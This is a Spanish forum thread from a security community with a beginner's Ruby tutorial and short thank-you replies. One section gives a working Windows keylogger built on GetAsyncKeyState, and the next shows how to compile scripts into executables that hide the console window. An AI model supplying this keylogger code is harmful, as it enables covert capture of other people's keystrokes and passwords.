• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    Starfield: el juego que revolucionará el espacio y la tecnología

    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • [Guia] : Iniciando en Ruby
    • Imprimir
    Páginas: [1]   Ir Abajo

    Autor Tema: [Guia] : Iniciando en Ruby  (Leído 19216 veces)

    Desconectado BigBear

    • { L5 } Smurf
    • *****
    • Mensajes: 594
      • Ver Perfil
    [Guia] : Iniciando en Ruby
    « en: Julio 05, 2011, 10:00:22 pm »

    [Guia] : Iniciando en Ruby
    [Autor] : Doddy Hackman


    -- == Indice == --

    0x00 : Presentacion
    0x01 : Que es Ruby
    0x02 : Como cargar un script
    0x03 : Tipos de Variables
    0x04 : El poder de print
    0x05 : Variables argumentales
    0x06 : Manejo de array
    0x07 : Concatenacion
    0x08 : Comentarios
    0x09 : Entradas de teclado
    0x10 : Tipos de condiciones y rescates de codigo
    0x11 : Uso de split
    0x12 : Uso de funciones
    0x13 : Listar directorios y manejo de archivos
    0x14 : Uso de sockets
    0x15 : Interactuar con la web y expresiones regulares
    0x16 : Descarga de archivos
    0x17 : Creando un keylogger
    0x18 : Compilar un script a exe
    0x19 : Bibliografia


    -- == Fin de Indice == --


    0x00 : Presentacion

    Hola , acabo de hacer un manual corto para ruby , puede que este un poco imcompleto pero solo
    puede explicar lo que conozco a nivel basico , espero que le sirve alguien

    Cualquier error o sugerencia sobre el manual pueden decirmelo para mejorar


    0x01 : Que es Ruby


    Segun wiki


    Código: [Seleccionar]
    Ruby es un lenguaje de programación interpretado, reflexivo y orientado a objetos, creado por el programador japonés Yukihiro "Matz" Matsumoto, quien comenzó a trabajar en Ruby en 1993, y lo presentó públicamente en 1995.
    Combina una sintaxis inspirada en Python y Perl con características de programación orientada a objetos similares a Smalltalk.
    Comparte también funcionalidad con otros lenguajes de programación como Lisp, Lua, Dylan y CLU. Ruby es un lenguaje de programación interpretado en una sola pasada y su implementación oficial es distribuida bajo una licencia de software libre.

    En mi opinion personal ruby es un lenguaje de programacion que tiene tanto poder como perl o python.

    En la siguiente url tenemos el link para descargar ruby para windows

    Código: [Seleccionar]
    http://ruby-186-25.software.informer.com/


    0x02 : Como cargar un script

    Si tenemos un script en ruby que hemos encontrado o algo asi , para ejecutarlo tenes que abrir nuestra
    consola ms dos ir al directorio donde se encuentra dicho script con el comando cd y cargar con el codigo con el comando
    ruby , el cual solo estara disponible si tenemos instalado ruby

    Un ejemplo seria algo asi

    Código: [Seleccionar]
    cd c:/ruby
    ruby test.rb


    0x03 : Tipos de variables


    En ruby tenemos variables de tipo


    == Locales ==

    Son las variables normales se definen de la siguiente forma

    Código: [Seleccionar]
    variable = "valor"

    Entre comillas dobles se ponen el valor de la variable local , el nombre de la variable siempre
    debe empezar en minusculas


    == Globales ==

    Son las variables que se pueden usar en cualquier parte del codigo un ejemplo de como declararlas
    seria esta

    Código: [Seleccionar]
    $variable = "valor"


    == De instancia ==

    Son las variables que solo se pueden acceder desde la misma clase , un ejemplo de como declararla
    seria esta

    Código: [Seleccionar]
    @variable = "valor"

    == Contantes == 

    Estas variables no pueden variar sus valores , el nombre de la variable deben empezar con una letra
    mayuscula , un ejemplo de como usarlas seria este

    Código: [Seleccionar]
    Variable = "valor"


    0x04 : El poder de print


    Para mostrar texto en pantalla tenemos que usar print , un ejemplo seria asi

    Código: [Seleccionar]
    print "hola mundo"

    Tambien lo podemos hacer con comillas simples

    Código: [Seleccionar]
    print 'hola mundo'

    Si queremos mostrar una variable con el texto seria asi

    Código: [Seleccionar]
    valor = "mundo"
    print "hola #{valor}"

    Como ven usamos #{} para mostrar la variable , si no queremos mostrar esta variable de esa forma
    podemos usar una coma de la siguiente forma

    Código: [Seleccionar]
    valor = "mundo"
    print "hola ",valor,"\n"

    Aclaracion : \n representa una salto de linea para que el texto no se muestre pegado

    0x05 : Variables argumentales

    Bien , ahora vamos a mi tema favorito , las variables argumentales.
    Poniendo un ejemplo seria algo asi

    Código: [Seleccionar]
    print ARGV[0]

    Si cargamos el codigo de la siguiente forma

    Código: [Seleccionar]
    ruby codigo.rb hola

    Nos devolveria en pantalla hola como ven ese es solo primer argumento porque si queremos usar dos
    seria sumandole un uno al cero de la siguiente forma

    Código: [Seleccionar]
    print ARGV[0]
    print ARGV[1]

    Si cargamos esto

    Código: [Seleccionar]
    ruby codigo.rb hola hola

    Nos devolveria dos hola , si queremos aumentar los argumentos solo tenemos que seguir el numero sucesivo del anterior (0,1,2,3) .....

    0x06 : Manejo de array

    Ok , llego la hora de hablar de los array , una forma de usar array seria asi

    Código: [Seleccionar]
    hilos = ["hola","chau"]

    Como vimos en el ejemplo anterior podemos seguir sumandoles valores con solo poner entre comillas los valores

    Para poder leer un array seria asi

    Código: [Seleccionar]
    hilos = ["hola","chau"]

    hilos.each do |test|
    print test
    end

    Como ven abrimos el array y lo vamos mostrando con print mediante la variable test , despues de ese usamos
    end para finalizar la funcion que hicimos para mostrar el array completo.

    0x07 : Concatenacion

    La concatenacion es util cuando queremos unir variables entre ellas un ejemplo de como hacerlo
    seria asi

    Código: [Seleccionar]
    parteuno = "hola "
    partedos = "mundo "

    sumar = "muestro "+parteuno+partedos
    print sumar

    Como ven usamos + para poder unir variables o agregar texto a una variable


    0x08 : Comentarios


    Bien , hora de hablar de los comentarios , entonces si queremos dejar notas en el codigo , tanto
    sea como dejar cosas innecesarias o explicacion de una linea de codigo.

    Un ejemplo seria asi

    Código: [Seleccionar]
    #hola

    Como ven cuando pongamos # todo lo que este adelante de ese linea sera ignorado por el codigo
    Si comentemos el error de poder en medio del codigo puede surgir un error inperdonable.

    0x09 : Entradas de teclado

    Ok , las entradas de teclado son muy necesarias cuando queremos hacer formularios o menus , un ejemplo de como realizar
    una entrada de teclado seria haciendo el tipico formulario que te consulta el nombre y la edad.
    Un ejemplo seria


    Código: [Seleccionar]
    print "tu nombre : "
    nombre = gets.chomp
    print "tu edad : "
    edad = gets.chomp
    print nombre+"\n"
    print edad+"\n"

    Como ven con get.chomp capturamos la entrada del teclado y guardamos su contenido en la varibles indicadas
    Despues mostramos el resultado por pantalla.


    0x10 : Tipos de condiciones y rescates de codigo


    Bien ahora llego la hora de hablar de las condiciones , las condiciones mas usadas o las unicas
    que recuerdo con las siguientes


    -- == if-else == --

    El tipico if-else , sirve para verificar que si es una cosa es tal cual , si no es asi se ejecuta else.
    Un ejemplo seria asi.

    Código: [Seleccionar]
    if "tengo"=="tengo"
    print "si"
    else
    print "no"
    end


    Como ven si la condicion es verdadera se muestra en pantalla si de lo contrario no
    Finalmente se pone end para finalizar la funcion.

    Aclaracion : al final de cada funcion siempre debemos poner end de lo contrario habra un error
    Aclaracion : == Sirve para verificar que una cosa sea exactamente igual que la otra

    -- == while == --

    El tipico while , este se encarga de verificar que mientras algo sea tal cual la funcion siempre se ejecutara hasta que la
    condicion sea falsa , un ejemplo seria asi

    Código: [Seleccionar]
    while("tengo"=="tengo")
    print "hola"
    end

    Entonces si ejecutamos este codigo la funcion nunca terminara porque la condicion siempre sera verdadera

    -- == for == --

    Bien , ahora llegamos a for , entonces for nos sirve para cuando queremos listar varios numeros , tambien tiene
    otra funciones , pero esta es la que mejor puedo explicar.
    Un ejemplo de la confusa idea que estoy tirando seria asi

    Código: [Seleccionar]
    for num in (1..10)
    print num
    end

    Bueno analizando el codigo podria decir que declaramos num para que podamos ir mostrando el rango 1..10 (pueden cambiarlo por los numeros que les
    sean necesarios ) mediante print
    Finalmente cerramos el bucle con end.

    Cuando tengamos error en el codigo en alguna funcion tenemos que rescatar el codigo de la siguiente manera

    Código: [Seleccionar]
    begin
    asdsdasd
    rescue
    print "mal"
    end

    Como ven despues del begin escribi cualquier cosa , claramente el codigo dara error , entonces con
    rescue rescatamos el codigo y mostramos mal , como siempre cerramos begin con end

    0x11 : Uso de split

    Bien ahora llegamos a la conocida funcion split , esta funcion nos puede ayudar a seperar cosas en una variable por ejemplo si tenemos un texto como este

    Código: [Seleccionar]
    valor = "hola estoy bien"

    Si queremos cortar los valores "estoy bien" para que quede solo hola podemos hacer asi

    Código: [Seleccionar]
    valor = "hola estoy bien"
    print valor.split("estoy bien")


    Si ejecutamos el codigo veremos que logramos hacer lo que queriamos.

    0x12 : Uso de funciones

    El uso de funciones nos sirve cuando muchas cosas repetidas y queremos reducir un poco el codigo
    Un ejemplo seria una funcion que muestre en pantalla lo que nosotros le pidamos.

    Para declarar una funcion seria usar def de la siguiente manera

    Código: [Seleccionar]
    def nuevafuncion
    end

    Como siempre eh dicho usamos end para finalizar cualquier funcion

    Entonces si queremos invocar dicha funcion seria asi

    Código: [Seleccionar]
    def nuevafuncion
    end

    nuevafuncion()

    Como ven antes de llamar a una funcion creada por nosotros dicha funcion debio ser declarada antes de la
    llamada porque sino habra un error

    Entonces para poder varios valores a la funcion para que muestra dicho resultado seria asi

    Código: [Seleccionar]
    def nuevafuncion(a,b,c)
    print a
    print b
    print c
    end

    nuevafuncion("uno","dos","tres")

    Como ven en nuevafuncion() mandamos tres argumentos cada uno separado por como y entre comillas dobles
    En la funcion creada le agregamos tres valores a,b,c que sirve para cuando la funcion sea invocada
    esta automaticamente reconozca los tres argumentos y los muestre por pantalla con el valores asignados
    en la nuevafuncion()

    0x13 : Listar directorios y manejo de archivos

    Bien , ahora hemos llegado al manejo de archivos y directorios

    Para empezar si queremos listar un directorio para enumerar sus archivos con un array podemos
    hacer de la siguiente forma

    Código: [Seleccionar]
    files = Dir.new("c:/xampp").entries
    files.each do |file|
    print file
    end

    Como ven podemos cambiar el directorio "xampp" por cualquier otro , despues vemos como
    enumeramos los archivos encontrados mediante la variable file
    Como siempre cerramos la funcion con end.
       
    Con eso , ya esta , si lo queremos es abrir un archivo , leerlo y mostrarlo por pantalla
    seria algo asi

    Código: [Seleccionar]
    archivo = File.open("var.txt")
    lineas = archivo.readlines
    lineas.each do |line|
    print line
    end

    Como ven abrimos el archivo var.txt con la variable retornada por la buena ejecucion del archiv podemos
    leer el archivo con readlines despues abrimos el array retornado y las mostramos con la variable line
    Como siempre cerramos la funcion usada con end

    0x14 : Uso de sockets

    BIen ahora llegamos a la parte interesante , para poder usar sockets primero deberemos importar el modulo
    sockets de la siguiente manera

    Código: [Seleccionar]
    require "socket"

    Entonces para conectarons a un servidor al puerto 80 podemos hacer asi

    Código: [Seleccionar]
    sock = TCPSocket.new("localhost",80)

    Como ven primero ponemos el host y despues el puerto a entrar
    Si todo salio bien no deberia aparecer ningun error

    Entonces como estamos en host con http podemos mandar un simple get como para saludarlo de
    la siguiente manera

    Código: [Seleccionar]
    require "socket"
    socket = TCPSocket.new("localhost",80)
    socket.print "GET / HTTP/1.1\r\n"
    re = socket.recvfrom(500)
    print re

    Bien como vemos enviamos una peticion GET con la funcion print del objeto creado con socket , despues
    capturamos en la variable re todo la informacion enviada como respuesta por parte del servidor , para
    finalmente mostrar la variable re por pantalla

    0x15 : Interactuar con la web y expresiones regulares

    Bien , ahora llegamos a la parte interesante de ruby ,el manejo de paginas webs.

    Entonces empezamos por una simple pagina con el metodo GET

    Para poder cargarla tendriamos que invocar al modulo

    Código: [Seleccionar]
    require "net/http"

    Entonces para cargar la pagina y guardar el resultado en una variable seria asi

    Código: [Seleccionar]
    code  = Net::HTTP.get_response(URI.parse("http://localhost/sql.php")).body
    print code

    Como ven capturamos la respuesta , el problema que tiene ruby es que tenemos que parsear la pagina por
    eso uso parse con la web que queremos cargar.

    Si lo que queremos es cargar una pagina con metodo POST lo que tenemos que hacer es esto

    Código: [Seleccionar]
    code = Net::HTTP.post_form(URI.parse("http://127.0.0.1/post.php"),{"te"=>"probando","ok1"=>"ok"}).body
    print code

    Como ven primero ponemos la pagina y despues el contenido del formulario encerrado entre los {}

    Ahora que pasa si queremos sacar cierta porcion del texto de la variable code , no nos queda
    otra que usar expresiones regulares

    Imaginemos que en la variable code tenemos el siguiente texto

    Código: [Seleccionar]
    hola mi pass es 123 chau
    Y lo queremos sacar es solo "132"

    Para poder sacar solo esa porcion de texto lo que tenemos que hacer es lo siguiente

    Código: [Seleccionar]
    code = "hola mi pass es 123 chau"
    if code=~/hola mi pass es (.*) chau/
    passw = $1
    print passw
    end

    Entonces , con (.*) podemos sacar lo que sea que halla justo donde le indicamos , como vemos
    con $1 capturo lo que hay en el (.*) si algunas vez nos chocamos con el caso de que hay dos , para recoger
    los resultados seria asi $1,$2 y asi sucesivamente con todos los (.*) que tengamos.
    En este caso solo hay uno entonces tenemos el resultado en $1
    Despues declaramos la variable local passw con el valor de $1 y la mostramos
    Para finalizar la funcion solo tenemos que poner un end.

    0x16 : Descarga de archivos

    Bien , que paso si queremos descargar archivos , lo que tendriamos que hacer seria esto

    Código: [Seleccionar]
    require "open-uri"

    file = "test.txt"
    url  = "http://localhost/test.txt"

    file = open(file,"wb")
    file.write(open(url).read)
    file.close


    Como podemos ver , el modulo encargado de la descarga es open-uri
    Tambien en la variable file ponemos el nombre que tendra el archivo que descargamos  y en
    url ponemos el link del archivo a descargar.
    Despues de uso creamos el archivo con el nombre indicado con el modo "wb" , despues escribimos en el ,
    el contenido del archivo descargado , despues de que se descargo el archivo , se cierro el archivo creado

    0x17 : Creando un keylogger

    Para poder crear un keylogger en ruby es necesario invocar el modulo Win32API , un ejemplo de un keylogger hecho seria este

    Código: [Seleccionar]

    require "Win32API"

    nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")

    while 1

    for num1 in (0x30..0x39) #numbers
    if nave.call(num1) & 0x01 == 1
    print num1.chr()
    end
    end

    for num2 in (0x41..0x5A) #letters
    if nave.call(num2) & 0x01 == 1
    print num2.chr()
    end
    end
    end

    Como podemos ver usamos el modulo win32api para poder capturar todas las teclas despues creamos
    un while eterno para poder capturar todo el tiempo lo que esta pasando , despues vemos que
    si lo que nave (variable para conectarnos con la api llamada) reconoce que los rangos (0x30..0x39) o (0x41..0x5A) son identicos
    a lo que nave esta capturando con la funcion call() para poder mostrar la tecla capturada , eso si usamos chr() para decodificar la tecla obtenida

    0x18 : Compilar un script a exe


    Para compilar un script en ruby a exe tenemos que descargar el siguiente archivo   

    Código: [Seleccionar]
    http://files.rubyforge.vm.bytemark.co.uk/rubyscript2exe/rubyscript2exe-0.5.3.rb

    Una vez instalado , cargamos la consola ms dos , entramos al directorio donde se descargo dicho
    archivo con cd , despues de eso hacemos lo siguiente para mostrar la ayuda del script descargado

    Código: [Seleccionar]
    ruby rubyscript2exe-0.5.3.rb

    Y nos devuelve

    Código: [Seleccionar]
    C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
    II\manuales>ruby rubyscript2exe-0.5.3.rb

            Usage: ruby rubyscript2exe.rb application.rb[w] [parameters]
                   or
                   ruby rubyscript2exe.rb application[/] [parameters]

            Where parameter is on of the following:

             --rubyscript2exe-rubyw     Avoid the popping up of a DOS box. (It's
                                        annoying in the test period... No puts and
                                        p anymore... Only use it for distributing
                                        your application. See Logging.)
             --rubyscript2exe-ruby      Force the popping up of a DOS box (default).

             --rubyscript2exe-nostrip   Avoid stripping. The binaries (ruby and
                                        *.so) on Linux and Darwin are stripped by
                                        default to reduce the size of the resulting
                                        executable.
             --rubyscript2exe-strace    Start the embedded application with strace
                                        (Linux only, for debugging only).
             --rubyscript2exe-tk        (experimental) Embed not only the Ruby
                                        bindings for TK, but TK itself as well.
             --rubyscript2exe-verbose   Verbose mode.
             --rubyscript2exe-quiet     Quiet mode.

            On Linux and Darwin, there's no difference between ruby and rubyw.

            For more information, see
            http://www.erikveen.dds.nl/rubyscript2exe/index.html .


    Si el script queremos compilar esta en el mismo directorio podemos compilarlo de la siguiente
    forma

    Código: [Seleccionar]

    C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
    II\manuales>rubyscript2exe-0.5.3.rb pro.rb
    Tracing pro ...
    holaGathering files...
    Copying files...
    Creating pro.exe ...


    Como ven problema resuelto xDD


    0x19 : Bibliografia


    Manuales de protos (mod de code-makers)


    -- == The End == --
    En línea

    Desconectado GAMARRA

    • { L5 } Smurf
    • *****
    • Mensajes: 574
      • Ver Perfil
      • Mi canal
    Re: [Guia] : Iniciando en Ruby
    « Respuesta #1 en: Julio 05, 2011, 11:15:21 pm »
    Buen trabajo Doddy, te pongo  la chincheta ;)

    Salu2
    En línea
    "No se puede desatar un nudo sin saber como esta hecho"

    Desconectado CtrlX

    • { L4 } Geek
    • ****
    • Mensajes: 505
      • Ver Perfil
    Re: [Guia] : Iniciando en Ruby
    « Respuesta #2 en: Julio 05, 2011, 11:53:02 pm »
    Muchas gracias por el aporte.
    En línea

    [Ctrl X]

    2Fac3R

    • Visitante
    Re: [Guia] : Iniciando en Ruby
    « Respuesta #3 en: Julio 06, 2011, 01:48:02 am »
    Que buen aporte amigo, se agradece! ;). El lenguaje parece C con batch xD.
    Zalu2
    En línea

    hvbe

    • Visitante
    Re: [Guia] : Iniciando en Ruby
    « Respuesta #4 en: Agosto 31, 2011, 12:13:22 pm »
    El GET request de la parte de sockets no me salía (me tiraba un 400, Bad Request) así que lo puse así:
    Código: [Seleccionar]
    require 'socket'
    sock = TCPSocket.open('127.0.0.1',80)
    sock.print "GET / HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: H4x0r Browser/5.0(ASD-OS)\n\n"
    data = sock.read
    print data


    Es increíble Ruby; se pueden hacer cosas complejas con muy pocas líneas de código.
    En línea

    Desconectado Libereco

    • { L6 } Flooder del foro
    • ******
    • Mensajes: 917
      • Ver Perfil
    Re: [Guia] : Iniciando en Ruby
    « Respuesta #5 en: Diciembre 10, 2011, 07:21:28 pm »
    Muy interesante aporte, Doddy. Desde luego te estás luciendo en el foro.
    En línea
    Citar
    Anarquía es la noción radical de que las demás personas no son de tu propiedad.

    • Imprimir
    Páginas: [1]   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Scripting »
    • [Guia] : Iniciando en Ruby
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more